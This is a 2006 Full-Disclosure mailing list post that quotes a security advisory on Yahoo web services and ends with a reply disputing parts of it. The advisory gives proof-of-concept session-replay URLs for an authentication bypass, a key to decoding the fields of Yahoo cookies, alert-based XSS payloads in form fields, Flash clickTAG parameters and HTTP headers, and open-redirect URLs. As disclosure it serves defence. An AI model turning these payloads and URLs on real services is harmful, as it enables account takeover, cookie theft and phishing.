Re: [Full-disclosure] Yahoo Multiple vulnerabilities (Authentication Bypass, Session Binding, Cookie Encoding Security Weakness, Cross-Site Scripting and URL Redirection)

On 6/20/06, Rajesh Sethumadhavan <rajesh.sethumadhavan@xxxxxxxxx> wrote:


------------------------------
How low will we go? Check out Yahoo! Messenger's low PC-to-Phone call
rates.
<http://us.rd.yahoo.com/mail_us/taglines/postman8/*http://us.rd.yahoo.com/evt=39663/*http://voice.yahoo.com>



Yahoo Multiple vulnerabilities (Authentication Bypass, Session Binding,
Cookie Encoding Security Weakness, Cross-Site Scripting and URL
Redirection)


############################################################################
#
# XDisclose Advisory : XD100001
# Advisory Released : 20th June 06
# Credit : Rajesh Sethumadhavan
#
# Class : Authentication Bypass
# Session Binding Vulnerability
# Cookies Encoding Security Weakness
# Cross-Site Scripting
# URL redirection
# Severity : Medium
# Solution Status : Unpatched
# Vendor : Yahoo
# Affected applications : Yahoo multiple web-based services
#

############################################################################


Overview:
Yahoo! Inc. is an American computer services company with a mission to "be
the most essential global Internet service for consumers and businesses".
It
operates an Internet portal, including the popular Yahoo! Mail.Accordingto
Web trends Yahoo! is the most visited website on the Internet today with
more
than 400 million unique users. The global network of Yahoo! websites
received
3.4 billion page views per day on average as of October 2005.

Various Yahoo! services are vulnerable to authentication bypass, session
binding, weak cookie encoding, cross-site scripting file inclusion and url
redirection vulnerabilities, which is caused due to improper validation of
user-supplied inputs.

Description:
Multiple vulnerabilities exist in various Yahoo services.


1. Authentication Bypass and Session Binding Vulnerability.
A malicious user can log on to the yahoo without submitting the username
and password by constructing a malicious URL using cookies.

Same session (URL) can be used to login multiple times from multiple IP
address leading to session binding vulnerability.

POC:

--------------------------------------------------------------------------

http://msg.edit.yahoo.com/config/reset_cookies?&.y=Y=v=1%26n=0kvgvgv3qlf11
%26l=i42.j4ij
/o&.t=T=sk=DAAXxtibJfco8U%26d=c2wBTlRVMUFUSTFNVEl4TXpnNU5EVS0
BYQFRQUUBdGlwAVNQZHhvQgF6egFYazdsRUJnV0E-&.done=http%3a//mail.yahoo.com

--------------------------------------------------------------------------

http://msg.edit.yahoo.com/config/reset_cookies?&.y=Y=v=1%26n=0kvgvgv3qlf11
%26l=i42.j4ij
/o%26p=m2gvvind12000700&.t=T=sk=DAAXxtibJfco8U%26d=c2wBTlRVMU

FUSTFNVEl4TXpnNU5EVS0BYQFRQUUBdGlwAVNQZHhvQgF6egFYazdsRUJnV0E-&.done=http
%3a//mail.yahoo.com

--------------------------------------------------------------------------

Where in "sk" & "d" is session

Screenshot:
http://www.xdisclose.bravehost.com/Images/Yahoo! Auth Bypass.png



2. Cookie Encoding Security Weakness
Implementation of cookies in yahoo is too weak that it can be decoded
easily. A malicious attacker can easily collect many personal
information
using cookies like year of birth, zipcode, country and name which can be
used to get password from "yahoo forgot password".

Where in
sk & d is session
n is password
l is username
p is country, year of birth, gender and more
b is cookies created
lg is language
intl is international language
iz is zipcode
jb is Industry and title

POC Screenshot:
http://www.xdisclose.bravehost.com/Images/Yahoo Cookie Encoding.png

3. Cross-Site Scripting.
This vulnerability is resulted from the failure of Yahoo! filtering
engine
to block cretin user-supplied inputs

a) Yahoo Calendar Service XSS
The flaws are due to improper sanitization of inputs passed to
"Location", "Address", "Street" and "Phone".


========================================================================
This event repeats every day.
</font><br>
<font face="Arial" size=-1>
<b>Event Location</b>: <script>alert('Location')</script>
<br><b>Street</b>: <script>alert('Address')</script>
<br><b>City, State, Zip</b>: <script>alert('Street')</script>
<br><b>Phone</b>: <script>alert('Phone')</script>
</font><br>

========================================================================

Screenshot:
http://www.xdisclose.bravehost.com/Images/XSS Calendar location.png
http://www.xdisclose.bravehost.com/Images/XSS Calendar Address.png
http://www.xdisclose.bravehost.com/Images/XSS Calendar Street.png
http://www.xdisclose.bravehost.com/Images/XSS Calendar Phone.png


b) Yahoo Options Mail Account XSS
The flaws are due to improper sanitization of inputs passed to
"Name"
and "Reply to" parameters.



========================================================================
<tr valign="top">
<td>Name:</td>
<td><script>alert('Name')</script></td>
</tr>

<tr valign="top">
<td>Email:</td>
<td>sec.test@xxxxxxxxx</td>
</tr>
<tr valign="top">
<td>Reply-To:</td>
<td><script>alert('Reply')</script>@yah.com</td>
</tr>

========================================================================

Screenshot:
http://www.xdisclose.bravehost.com/Images/XSS Mail Account
Reply.png
http://www.xdisclose.bravehost.com/Images/XSS Mail Account Name.png


c) Yahoo Options Filter XSS.
The flaws are due to improper sanitization of inputs passed to
"From"
and "To" parameters


========================================================================
<b>From</b> contains
"<b><script>alert('From')</script>@yahoo.com</b>"
<br>
<b>To/CC</b> contains
"<b><script>alert('To')</script>@yahoo.com</b>"
<br>

========================================================================

Screenshot:
http://www.xdisclose.bravehost.com/Images/Xss Filter From.png
http://www.xdisclose.bravehost.com/Images/Xss Filter To.png


d) Yahoo Ads flash file XSS.
The flaws are due to improper sanitization of inputs passed to
flash Ads
files

Exploit:

-----------------------------------------------------------------------
http://us.a1.yimg.com/us.yimg.com/a/ya/yahoo_answers/
20060330_68006_asker1_sound.swf?clickTAG=javascript:alert('XSS%20
Possiable%20in%20Yahoo%20Ads%20\n%20By%20Rajesh')

http://us.a1.yimg.com/us.yimg.com/a/ya/yahoo_answers/
20060330_68006_1_425x600_monster_morph_asker_1_check.swf?clickTAG=
javascript:alert('XSS%20Possiable%20in%20Yahoo%20Ads%20\n%20By%20
Rajesh')

http://us.a1.yimg.com/us.yimg.com/i/ccs/nup/a/

042406_68946_v1_728x90_super_nup_fun.swf?clickTAG=javascript:alert('XSS
%20Possiable%20in%20Yahoo%20Ads%20\n%20By%20Rajesh')

http://us.a1.yimg.com/us.yimg.com/i/ccs/nup/a/

042406_68946_v1_425x600_mon_nup_mplace.swf?clickTAG=javascript:alert
('XSS%20Possiable%20in%20Yahoo%20Ads%20\n%20By%20Rajesh')


http://ad.ie.doubleclick.net/812666/specsavers_2for1euro_300x250.swf?

clickTAG=javascript:alert('XSS%20Possiable%20in%20Yahoo%20Ads%20\n%20
By%20Rajesh')

http://us.a1.yimg.com/us.yimg.com/i/ccs/nup/a/
042406_68946_v1_728x90_super_nup_sit.swf?clickTAG=javascript:alert
('XSS%20Possiable%20in%20Yahoo%20Ads%20\n%20By%20Rajesh')

http://us.a2.yimg.com/us.yimg.com/a/ya/yahoo_messenger/
20051028_61760_2_425x600_mon_scarehim.swf?clickTAG=javascript:alert
('XSS%20Possiable%20in%20Yahoo%20Ads%20\n%20By%20Rajesh')

http://us.a2.yimg.com/us.yimg.com/a/ya/yahoo_mail/

20060512_65459_1_360x100_mwa1_mail_accolades.swf?clickTAG=javascript:
alert('XSS%20Possiable%20in%20Yahoo%20Ads%20\n%20By%20Rajesh')

and more

-----------------------------------------------------------------------

Screenshot:
http://www.xdisclose.bravehost.com/Images/XSS Flash Ads.png


e) Yahoo Mail Beta HTTP Header XSS
The flaws are due to improper sanitization of inputs passed to all
HTTP
header like Accept, Accept-Charset, Accept-Language, Cache-Control,
Connection, Content-Length, Content-Type, Cookie, Keep-Alive,
Pragma,
SOAPAction and User-Agent in Yahoo Mail Beta.

POC :

========================================================================
GET :
http://uk.f555.mail.yahoo.com/ymws?m=ListFolders&wssid=CKyO7/zcUU2

Host: uk.f555.mail.yahoo.com
User-Agent: <script>alert('User-Agent:')</script>
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=
0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
;<script>alert('Accept:')</script>
Accept-Language: en-us,en;q=0.5
;<script>alert('Accept-Language:')</script>
Accept-Encoding:
gzip,deflate;<script>alert('Accept-Encoding:')</script>
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7;<script>alert
('Accept-Charset:')</script>
Keep-Alive: 300;<script>alert('Keep-Alive:')</script>
Connection: keep-alive;<script>alert('Connection:')</script>
SOAPAction: urn:yahoo:ymws#ListFolders;<script>alert('SOAPAction:')
</script>
Content-Length: <script>alert('Content-Length:')</script>
Content-Type:
application/xml;<script>alert('Content-Type:')</script>
Cookie: B=dcnl4j129c7tu&b=3&s=j3;

F=a=aNqy1CosvW3BmaGno6BSLOpXkP2PCglCZ3_LDJtts8oaitnkGkgOOjxwPKS6&b=bIpq;
Y=v=1&n=0kvgvgv3qlf11&l=i42.j4ij
/o&p=m2gvvind12000700&jb=19|24|&iz=123456
r=g4&lg=uk&intl=uk&np=1;PH=fn=eIhKKoq4dTG7Gjr4FtHqCTA-;

T=z=W/hlEBWF3lEBrRcLnJGLZKoMjIyBjUyNjU2NE9OMzI-&a=QAE&sk=DAAZ7oQuYalSuV&

d=c2wBTlRVMUFUSTFNVEl4TXpnNU5EVS0BYQFRQUUBdGlwAVNQZHhvQgF6egFXL2hsRUJnV0
E-;
U=mt=
7lM5FJ2MhYo0WJ.pqDZdpFIY1pCQZRq2Q6ftdw--&ux=W/hlEB&un=0kvgvgv3qlf11;
YM.dpref1=sec.test%3Aspp%257C1;<script>alert('Cookie:')</script>
Pragma: no-cache;<script>alert('Pragma:')</script>
Cache-Control: no-cache;<script>alert('Cache-Control:')</script>

========================================================================

Screenshot:
http://www.xdisclose.bravehost.com/Images/XSS MailBeta Accept.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta
Accept-Charset.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta
Accept-Language.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta
Cache-Control.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta
Connection.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta
Content-Length.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta
Content-Type.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta Cookie.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta
Keep-Alive.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta Pragma.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta
SoapAction.png
http://www.xdisclose.bravehost.com/Images/XSS MailBeta
User-Agent.png


Impact:
Successful exploitation allows execution of arbitrary script code
in a users browser session in context of an affected site which may
allow to steal cookie based authentication credentials.

3. URL redirection.
This is due failure of filtering of incoming untrusted data before the
content reaches their users .This can be exploited for phishing attack.
The
vulnerable parameters are yahoo search web, image, video, preferences,
cache,
yahoo answers and more urls containing /*http://yahoo.com or /**http://
yahoo.com

Exploit:

---------------------------------------------------------------------------
http://rds.yahoo.com/_ylt=Ah0geusyaM2xEzqMAjS9XNyoA/SIG=11do5qdq6/EXP=
1148028186/**http%3a//www.xdisclose.com

http://search.yahoo.com/preferences/preferences?pref_done=
http%3a//www.xdisclose.com

---------------------------------------------------------------------------

Screenshot:
http://www.xdisclose.bravehost.com/Images/URL Redirection WebSearch.png
http://www.xdisclose.bravehost.com/Images/URL Redirection Images.png
http://www.xdisclose.bravehost.com/Images/URL Redirection Video.png

4) Interesting facts about Yahoo
Yahoo Mail Inbox shows wrong unread messages count if it is above 65535
unread messages.

Screenshot:
http://www.xdisclose.bravehost.com/Images/Yahoo Inbox.png

Original Advisory:
http://www.xdisclose.com/XD100001.txt

Credits:
Rajesh Sethumadhavan has been credited with the discovery of this
vulnerability


Disclaimer:
This entire document is strictly for educational, testing and
demonstrating
purpose only. Modification use and/or publishing this information is
entirely on
your own risk. The exploit code is to be used on your own email account. I
am
not liable for any direct or indirect damages caused as a result of using
the
information or demonstrations provided in any part of this advisory.





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A couple of pointers on this disclosure, the disclosure is slightly
misleading on those not experienced with Yahoo:

The redirect claim is bogus, it is part of the design of the system. There
have been people reporting this to Yahoo for years, and Yahoo just need to
shrug it off.

The cookie claim is bogus, Yahoo cookies use a ROT system which isn't ment
to be difficult for you to decrypt and read. It is a very simple system to
decrypt by design.

There have been programs and documentation made available for years to
automatically read ROT.

My friends back in 1999 when they started off hacking, one of the first
programs they made was a "make life easier" ROT decrpytion tool for Yahoo
cookies.

There is no sensitive data kept within a Yahoo cookie.

The most you'll learn is the username for the cookie, and the Yahoo services
that username has visited.

The rest with your cross-site scripting claim is legitimate.

As for the rest, they are reported often to Yahoo and mistaken as a system
flaw. (The ROT cookie decrpyt and URL redirection address)

Well done on the cross-site scripting though.

Your subject header is slightly misleading for people unfirmilar with Yahoo
standard pratices in regards with cookies and their URL redirection system.

Google has a URL redirection address as well... it is there to log stats,
like the Yahoo URL redirection address is.

Yahoo contact:

http://security.yahoo.com

n3td3v contact:

http://n3td3v.googlepages.com _______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

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